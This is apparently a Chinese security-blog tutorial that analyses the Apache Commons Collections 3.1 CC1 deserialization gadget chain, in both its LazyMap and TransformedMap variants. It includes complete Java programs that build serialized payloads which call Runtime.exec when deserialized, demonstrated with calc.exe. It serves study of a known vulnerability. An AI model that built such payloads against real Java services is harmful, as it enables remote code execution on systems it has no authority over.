前言
本身想直接分析ysoserial
的cc链的,但是发现它在动态代理这一块进行了封装,这里直接分析编写好的构造链.由于链比较长,为了方便理解,本文会把CC1链
拆成几部分来分析.在学习这篇文章前,需掌握反射
和JDK动态代理
.
介绍
Apache Commons Collections是Apache Commons的组件,它们派生自Java API并提供组件Java语言的体系结构.Commons Collections增强了Java集合框架。 它提供了几个功能来简化收集处理。 它提供了许多新的接口,实现和实用程序.
测试环境
JDK版本低于8u71
Commons Collections 3.1
依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
反射调用Exec
这部分比较基础,直接上代码
public class execDemo {
public static void main(String[] args) throws Exception{
// 取得 Runtime Class对象
Class clazz = Runtime.class;
// 通过反射获取Runtime类下的getRuntime()方法
Method getRuntime = clazz.getMethod("getRuntime");
// 执行getRuntime方法(属性为static,invoke参数为null),结果是返回一个Runtime对象
Object invoke = getRuntime.invoke(null);
// 通过反射获取Runtime类下的exec()方法
Method exec = clazz.getDeclaredMethod("exec", String.class);
// 通过反射调用,执行Runtime对象的exec方法
exec.invoke(invoke, "calc.exe");
}
}
这里需要补充一点,用getRuntime()
来获取Runtime实例对象的原因是Runtime的构造方法是私有的,无法直接调用,需要格外设置setAccessible(true)
.
Transformer讲解
Transformer
Transformer是一个接口,继承它需要实现transform方法
下面为Transformer的实现类,圈起来的这三个类就是构造CC1链关键类,同样也都继承了Serializable接口。
ConstantTransformer
结构图:
代码很少,直接都贴出来
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
public Object getConstant() {
return this.iConstant;
}
}
先看transform方法及关联代码
可以看出来ConstantTransformer的transform直接返回iConstant,返回值与传入的input没有任何关联。iConstant可以通过构造方法传入值
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
InvokerTransformer
结构图:
先分析一下transform,主要看try的三行代码
public Object transform(Object input) {
// 判断传入不为null
if (input == null) {
return null;
} else {
try {
// 获取input的Class对象
Class cls = input.getClass();
// 利用反射去获取cls下的方法,iMethodName为方法名,iParamTypes为方法的参数类型
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//反射调用invoke执行input对象的method方法,iArgs为该方法的参数
return method.invoke(input, this.iArgs);
/* ---------------------------- 抛出异常 ------------------------------------- */
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
接下来去查看iMethodName、iParamTypes和iArgs,都是可以通过构造方法和反射进行修改的
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
可以发现这些值都是可控的,说明我们可以利用InvokerTransformer,来执行invoke进行反射调用其他类的方法。但是并不能直接调用Runtime的 exec 方法,因为它的构造方法是私有的,要通过getRuntime()
来获取实例化对象,需要调用两次invoke
ChainedTransformer
结构图:
先去看实现接口的transform
通过代码可以发现this.iTransformers[i].transform(object)
的返回值将会成为下一个方法this.iTransformers[i].transform(object)
的参数。可以把它理解成递归
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
这里跟进一下iTransformers
iTransformers可以直接用构造方法赋值
// 私有
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
代码
public class transformerDemo {
public static void execute(String command) {
final String[] execArgs = new String[] {command};
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
java.lang.String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs) };
final Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
}
public static void main(String[] args) {
execute("calc.exe");
}
}
演示
这时候就可以都串起来了。ConstantTransformer直接返回一个Class对象,InvokerTransformer通过反射调用Class的方法,ChainedTransformer作为桥梁把他们连在一起。
final Transformer[] transformers = new Transformer[] {
// 获取Runtime的Class对象,作为下一个方法的参数
new ConstantTransformer(Runtime.class),
// 获取Runtime的getRuntime方法,作为下一个方法的参数
new InvokerTransformer("getMethod", new Class[] {
java.lang.String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
// 获取Runtime的实例化对象,作为下一个方法的参数
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
// 通过反射来调用Runtime对象的exec方法,执行命令
new InvokerTransformer("exec",
new Class[] { String.class }, new String[] {"calc.exe"} )
};
final Transformer transformerChain = new ChainedTransformer(transformers);
为了方便理解,debug一下
断点位置在ChainedTransformer的transform方法处(58行)
第一个执行的是new ConstantTransformer(Runtime.class)
的transform方法
跟进一下,我们在入口传入的是null,返回的结果为Runtime的Class对象
第二个执行的是new InvokerTransformer("getMethod", new Class[] {java.lang.String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })
的transform方法,传入的参数为Runtime的Class对象,返回的结果是Runtime.getRuntime()
对象
跟进一下,可以发现input.getClass()
拿到了java.lang.Class
的Class对象,然后cls.getMethod
获取java.lang.Class
下的getMethod方法,最后method.invoke执行getMethod方法,获取Runtime类下的getRuntime方法
第三个执行的是new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] })
的transform方法,传入参数为Runtime.getRuntime()
对象,返回结果为Runtime对象
跟进一下,可以发现input.getClass()
拿到了java.lang.reflect.Method
的Class对象,然后cls.getMethod
获取java.lang.reflect.Method
下的invoke方法,最后method.invoke执行invoke方法,获取Runtime的实例化对象
最后一个执行的是new InvokerTransformer("exec",new Class[] { String.class }, new String[] {"calc.exe"} )
,传入的参数是Runtime的实例化对象,返回是exec执行“calc.exe”命令,弹出一个计算器
跟进一下,可以发现input.getClass()
拿到了Runtime
的Class对象,然后cls.getMethod
获取Runtime
类下的exec方法,最后method.invoke执行exec方法,执行“calc.exe”命令
构造链
CC1一共有两条链子,ysoserial
的LazyMap链
相对来说比较简单一点
LazyMap链
lazymap调用栈
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
代码
public class lazyMapDemo {
public static void execute(String command) throws Exception {
final String[] execArgs = new String[] {command};
final Transformer[] transformers = new Transformer[] {
// 获取Runtime的Class对象,作为下一个方法的参数
new ConstantTransformer(Runtime.class),
// 获取Runtime的getRuntime方法,作为下一个方法的参数
new InvokerTransformer("getMethod", new Class[] {
java.lang.String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
// 获取Runtime的实例化对象,作为下一个方法的参数
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
// 通过反射来调用Runtime对象的exec方法,执行命令
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs) };
final Transformer transformerChain = new ChainedTransformer(transformers);
// 创建一个LazyMap,把transformerChain传入
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 反射获取AnnotationInvocationHandler的Class对象
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 反射获取的AnnotationInvocationHandler类中第一个构造函数
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
// 禁止检查Java语言访问控制
constructor.setAccessible(true);
// 创建InvocationHandler的实例化对象,lazyMap被代理
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
// 创建代理对象
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);
//最后再创建了一个AnnotationInvocationHandler的实例,然后将已经代理过的LazyMap再填进去。原因是因为,我们需要触发AnnotationInvocationHandler的ReadObject,而不是Map的ReadObject
Object handler = (InvocationHandler) constructor.newInstance(Target.class, proxyInstance);
// 序列化
String path = System.getProperty("user.dir")+"cc1.ser";
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
objectOutputStream.writeObject(handler);
objectOutputStream.close();
//反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
objectInputStream.readObject();
objectInputStream.close();
}
public static void main(String[] args) throws Exception {
execute("calc.exe");
}
}
LazyMap
结构图
• LazyMap本质上也是一个Map,它允许指定一个Transformer作为它的工厂类
工厂类的意思是,当进行Map操作时,这个工厂类会对它进行修饰(使用工厂类的transform函数)
分析下关键代码
可以看出,LazyMap的构造方法属性为protected
无法直接创建实例.不过可以用public static Map decorate(Map map, Transformer factory)
方法来调用构造方法.
protected final Transformer factory;
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
重点主要是get方法,如果map不包含key的话,就会执行this.factory.transform(key)
,这里的this.factory
可以传入ConstantTransformer,只要想一个办法触发它就好了
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
AnnotationInvocationHandler
这部分涉及到JDK动态代理
作为反序列化的入口点,结合上述条件,我们需要找到一个在重载了readObject函数中,调用map的get
方法,也就是AnnotationInvocationHandler
先看看类声明
实现了InvocationHandler接口,说明AnnotationInvocationHandler是一个动态代理类,发现memberValues为Map类型
结构图:
先去看invoke,发现this.memberValues.get(var4)
,memberValues又是一个map,这里就可以触发map.get()
.
所以只要让this.memberValues
为LazyMap就好了,触发get()
就会跟着触发ConstantTransformer.通过动态代理,就可以把LazyMap包裹起来.
// 反射获取AnnotationInvocationHandler的Class对象
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 反射获取的AnnotationInvocationHandler类中第一个构造函数
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
// 禁止检查Java语言访问控制
constructor.setAccessible(true);
// 创建InvocationHandler的实例化对象,lazyMap被代理
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
// 创建代理对象
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);
拓展一下:
loader是类加载器,interfaces 是代理要实现的服务接口,h是一个invocationHandler对象,表示的是 当动态代理对象调用方法的时候会关联到哪一个invocationHandler对象上,并最终由其调用。
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
这里proxyInstance在调用方法时,经过invocationHandler进行处理,invocationHandler通过invoke反射调用LazyMap对应的方法,并且进行修饰。
抽象一点来讲,LazyMap是一部电影,invocationHandler是电影院,电影院可以在播放电影(invoke)的时候插入广告(修饰),你也可以选择在不同的电影院播放这部电影(LazyMap),不过他们的广告内容不一样(修饰不一样),但一定会播放电影(invoke)。只要触发了播放电影,就会经过电影院进行播放。
最后重点来了
我们需要触发AnnotationInvocationHandler的invoke方法,而AnnotationInvocationHandler重载了readObject函数,经过代理,memberValues就是LazyMap,this.memberValues.entrySet()
相当于触发了LazyMap的方法,需要经过代理,触发AnnotationInvocationHandler的invoke,到这里链子就成功构造好啦
最后再创建了一个AnnotationInvocationHandler的实例,然后将已经代理过的LazyMap再填进去。原因是因为,我们需要触发AnnotationInvocationHandler的ReadObject,而不是Map的ReadObject
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, proxyInstance);
TransformedMap链
TransformedMap本质上也是一个Map,主要的作用是在对其集合的元素进行增加,删除或修改时调用方法进行特定的修饰变换.
TransformedMap调用栈
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
代码
public class transformerDemo {
public static void execute(String command) throws Exception {
final Transformer[] transformers = new Transformer[] {
// 获取Runtime的Class对象,作为下一个方法的参数
new ConstantTransformer(Runtime.class),
// 获取Runtime的getRuntime方法,作为下一个方法的参数
new InvokerTransformer("getMethod", new Class[] {
java.lang.String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
// 获取Runtime的实例化对象,作为下一个方法的参数
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
// 通过反射来调用Runtime对象的exec方法,执行命令
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs) };
final Transformer transformerChain = new ChainedTransformer(transformers);
HashMap map = new HashMap();
// 这里key必须为"when",和CheckReturnValue的when()方法名字一样,value值任意
map.put("when","kradress");
// 这里key必须为"value",和Target.class的value()方法名字一样,value值任意
// map.put("value","kradress");
// 创建一个TransformedMap,把transformerChain传入
Map transFormedMap = TransformedMap.decorate(map,null,transformerChain);
// 反射获取AnnotationInvocationHandler的Class对象
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 反射获取的AnnotationInvocationHandler类中第一个构造函数
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
// 禁止检查Java语言访问控制
constructor.setAccessible(true);
// 创建InvocationHandler的实例化对象,transFormedMap被代理
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(CheckReturnValue.class, transFormedMap);
// InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);
// 序列化
String path = System.getProperty("user.dir")+"cc1.ser";
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
objectOutputStream.writeObject(invocationHandler);
objectOutputStream.close();
//反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
objectInputStream.readObject();
objectInputStream.close();
}
public static void main(String[] args) throws Exception {
execute("calc.exe");
}
}
TransformedMap
类声明:
结构图:
看一下构造函数
可以看到,其实这里和LazyMap也没什么区别,构造函数属性为protect
,无法直接用构造方法创建实例,也用的是decorate()
方法来获取该类对象
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected Map transformMap(Map map) {
Map result = new LinkedMap(map.size());
Iterator it = map.entrySet().iterator();
while(it.hasNext()) {
Map.Entry entry = (Map.Entry)it.next();
result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));
}
return result;
}
看一下关键代码
transformKey(Object object)
、transformValue(Object object)
和checkSetValue(Object value)
都可以触发transform()
方法,虽然它们属性为protected
无法直接调用.
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
前两者倒是可以用put()
来触发,可以看父类得知它的父类实现了Map接口,但是目前也找不到什么类可以通过重载readObject
触发这个put()
.
那就从checkSetValue()
来下手吧,去寻找什么方法能够触发它
AbstractInputCheckedMapDecorator
idea通过右键 -> Go To -> Super Method
跳转到父类AbstractInputCheckedMapDecorator,看类声明发现,这是一个抽象类
,checkSetValue
也是一个抽象方法
先说一下抽象类:
- 子类在继承父类的时候,如果父类是抽象类,那么实例化子类时先实例化父类。
- 在抽象类的方法中调用了自己未实现的抽象方法,那么对应实例化的子类实现了此方法,在抽象类实例化之后,子类未实例化之前,抽象类可以调用子类实现的抽象方法。
在AbstractInputCheckedMapDecorator中,setValue(Object value)
又调用了这个抽象方法,相当于调用了TransformedMap的checkSetValue()
方法,最后
触发transform()
方法
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
作为AbstractInputCheckedMapDecorator的内部类,它的父类AbstractMapEntryDecorator实现了Map.Entry
接口
现在又有2个问题
- 怎么才能让
parent
的值为TransformedMap - 怎么去触发
setValue()
方法呢
AnnotationInvocationHandler
在 LazyMap 链中也提到过一次了,这里也同样是AnnotationInvocationHandler作为反序列化入口点,这里是在重载的readObject中触发Map.Entry
的setValue
方法.与 LazyMap 不同的是这里并没有用到动态代理,也不会调用AnnotationInvocationHandler的invoke
先贴出代码,方便分析
HashMap map = new HashMap();
map.put("value","kradress");
Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, transFormedMap);
先看看parent
的值是怎么来的呢
先分析调用栈
在此处打个断点(AbstractInputCheckedMapDecorator$MapEntry)
先看AnnotationInvocationHandler的readObject
在实例化对象的时候,this.memberValues
值为TransFormedMap
Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, transFormedMap);
没有通过entrySet()
方法,就会通过继承调用父类AbstractInputCheckedMapDecorator的entrySet().iterator()
,获得TransFormedMap的迭代器,用作遍历TransFormedMap中的每一个键值对。
Iterator var4 = this.memberValues.entrySet().iterator();
通过调用AbstractInputCheckedMapDecorator的next()
遍历TransFormedMap的迭代器
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
}
这时候就成功把parent的值设置为TransFormedMap对象了
最后来看看关键点,如何去触发setVaule方法
HashMap map = new HashMap();
map.put("value","kradress");
Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);
这里得先提到AnnotationInvocationHandler的构造函数
// var1 必须是Annotation的子类
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
// 获取var1所有的接口
Class[] var3 = var1.getInterfaces();
// var1为注解类型 && var1只实现一个接口 && var3[0]必须为注解类
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
能满足条件的var1
只能是注解类,而且只实现了Annotation接口
再来分析下readObject
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
// var2.memberTypes()返回一个Map,key为this.type中的方法
Map var3 = var2.memberTypes();
// 遍历this.memberValues(TransformedMap)
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
// 获取var5(TransformedMap)的key
String var6 = (String)var5.getKey();
// 获取var3中key为var6的value值
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
// 获取var5的value值
Object var8 = var5.getValue();
// var7不是var8的实例 && var8不是ExceptionProxy的实例
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
从这里开始分析
var2 = AnnotationType.getInstance(this.type);
AnnotationType
这里就简单解释下AnnotationType的getInstance
方法
public static AnnotationType getInstance(Class<? extends Annotation> var0) {
//SharedSecrets.getJavaLangAccess()获取System对象,System实现了JavaLangAccess接口
JavaLangAccess var1 = SharedSecrets.getJavaLangAccess();
// 跟进System.getAnnotationType(var0)返回var0.getAnnotationType()
AnnotationType var2 = var1.getAnnotationType(var0);
if (var2 == null) {
// 走到构造函数
var2 = new AnnotationType(var0);
if (!var1.casAnnotationType(var0, (AnnotationType)null, var2)) {
var2 = var1.getAnnotationType(var0);
assert var2 != null;
}
}
return var2;
}
看了一下调用栈,总体来说是比较复杂的,一共调用了2次AnnotationType的getInstance
方法
第一次拿到的var0
为传入的注解类(Class<? extends Annotation> var0
),如果var0
没有getAnnotationType
方法,返回null,进入if
语句
var1.getAnnotationType(var0)
(klass
为var0
)
来到构造函数,把var0
的所有方法的名称作为key
传入memberTypes
在构造函数中经过一系列处理,再一次调用AnnotationType的getInstance
,最后拿到的var2
中memberTypes的中,key
为传入注解类(Class<? extends Annotation> var0
)的方法名
readObect
继续回到readObject
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
// var2.memberTypes()返回一个Map,key为this.type中的方法
Map var3 = var2.memberTypes();
// 遍历this.memberValues(TransformedMap)
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
// 获取var5(TransformedMap)的key
String var6 = (String)var5.getKey();
// 获取var3中key为var6的value值,一个Class对象
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
// 获取var5的value值
Object var8 = var5.getValue();
// var7不是var8的实例 && var8不是ExceptionProxy的实例
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
来看看var6
和var7
要想var6
的值不为null
,在创建TransformedMap对象的时候,传入的HashMap不为空,
HashMap map = new HashMap();
map.put("value","kradress");
Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);
要想var7
的值不为null
,var3
也不能为空
// var3 的key为 传入的注解类的方法名
Map var3 = var2.memberTypes();
在创建AnnotationInvocationHandler的时候,传入的注解类必须有声明方法
nvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);
然后var6
的值为var5
(TransformedMap)的key,要和var3
的key
一致,var7
才不等于null
Map var3 = var2.memberTypes();
// 获取var5的key值
String var6 = (String)var5.getKey();
// 获取var3中对应key(var6)的value值
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (var7 != null) {
// 获取var5的value值
Object var8 = var5.getValue();
// var7不是var8的实例 && var8不是ExceptionProxy的实例
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
因此在创建TransformedMap的时候,HashMap的key值需要和创建AnnotationInvocationHandler时传入的方法名一样才行
Target.class
和Retention.class
都符合条件,都只有1个方法名value
map.put("value","kradress");
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);
除了这两个,还有很多注解类也可以,这里再列一个CheckReturnValue.class
,有兴趣的师傅可以再找找
When when() default When.ALWAYS;
对应的key
就要改为when
map.put("when","kradress");
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(CheckReturnValue.class, transFormedMap);
HashMap map = new HashMap();
map.put("when","kradress");
Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);
这样就能成功走到setValue
了
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
到此为止,已经分析完了,具体步骤可以看看调用栈
总结
JDK8u71后无法复现该漏洞,核心原因是,8u71以后,AnnotationInvocationHandler的readObject中,不再直接操作我们给的Map,而是新创建了一个LinkedHashMap,导致无法触发后面的payload